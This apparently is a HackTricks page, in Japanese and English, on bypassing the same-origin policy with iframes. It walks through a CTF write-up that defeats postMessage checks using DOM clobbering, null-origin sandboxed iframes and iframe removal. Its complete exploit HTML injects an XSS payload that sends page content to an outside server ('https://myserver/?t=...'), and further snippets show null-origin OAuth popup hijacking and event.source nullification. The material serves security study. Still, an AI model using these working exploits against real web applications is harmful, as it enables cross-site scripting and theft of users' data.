Bypassing SOP with Iframes - 2

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Iframes in SOP-2

このsolutionはこのchallengeのためのもので、@Strellic_は前のセクションと同様の手法を提案しています。見てみましょう。

この課題では攻撃者はこれをbypassする必要があります:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

もしそうすると、HTML コンテンツを含む postmessage を送り、それがサニタイズされずに innerHTML でページに書き込まれ（XSS）しまう可能性がある。

The way to bypass the first check is by making window.calc.contentWindow to undefined and e.source to null:

  • window.calc.contentWindow は実際には document.getElementById("calc") である。document.getElementById は <img name=getElementById /> で clobber できる（注：Sanitizer API -here- はデフォルトの状態では DOM clobbering 攻撃から保護するように設定されていない）。
  • したがって、document.getElementById("calc") を <img name=getElementById /><div id=calc></div> で clobber できる。そうすると、window.calc は undefined になる。
  • 次に、e.source を undefined または null にする必要がある（=== ではなく == が使われているため、null == undefined は True になる）。これを得るのは簡単だ。iframe を作成してそこから postMessage を send し、すぐに iframe を remove すれば、e.origin は null になる。以下のコードを確認してほしい
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null

In order to bypass the second check about token is by sending token with value null and making window.token value undefined:

  • postMessage で token を値 null にして送信するのは簡単です。
  • window.token は getCookie 関数の呼び出し内で決まり、その関数は document.cookie を使用します。null origin ページから document.cookie にアクセスすると error が発生します。これにより window.token は undefined になります。

The final solution by @terjanq is the following:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)

function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr)

function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>

2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)

最近の TryHackMe タスク（“Vulnerable Codes”）は、opener が scripts と popups のみを許可する sandboxed iframe 内にある場合に OAuth popups がハイジャックされる方法を示しています。
その iframe は自身と popup の両方を “null” origin に強制するため、handlers が if (origin !== window.origin) return をチェックしても、popup 内の window.origin も “null” であるため黙って失敗します。
ブラウザは実際の location.origin を引き続き公開しているにもかかわらず、被害者はそれを確認しないため、攻撃者が制御するメッセージが通り抜けてしまいます。

const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);

Takeaways for abusing that setup:

  • popup 内で origin を window.origin と比較するハンドラは、両者が “null” に評価されるため回避可能で、偽造メッセージが正当なものに見える。
  • sandboxed iframes が allow-popups を付与し allow-same-origin を付与しない場合でも、攻撃者が制御する null origin にロックされた popups を生成し、2025 年の Chromium ビルドでも安定したエンクレーブを提供する。

Source-nullification & frame-restriction bypasses

CVE-2024-49038 に関する業界の解説はこのページに対して再利用可能な2つのプリミティブを強調している: (1) X-Frame-Options: DENY を設定するページでも window.open で起動し、ナビゲーションが落ち着いた後にメッセージを送信すれば相互作用できること、(2) メッセージ送信直後に iframe を削除することで event.source == victimFrame のチェックをブルートフォースで回避でき、受信側ハンドラには null のみが見えるようになること。

const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);

上の DOM-clobbering trick と組み合わせると、受信側が event.source === null のみを確認するようになった場合、window.calc.contentWindow などとの比較は意味をなさなくなり、innerHTML を通じて悪意のある HTML sinks を再び注入できるようになります。

参考

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする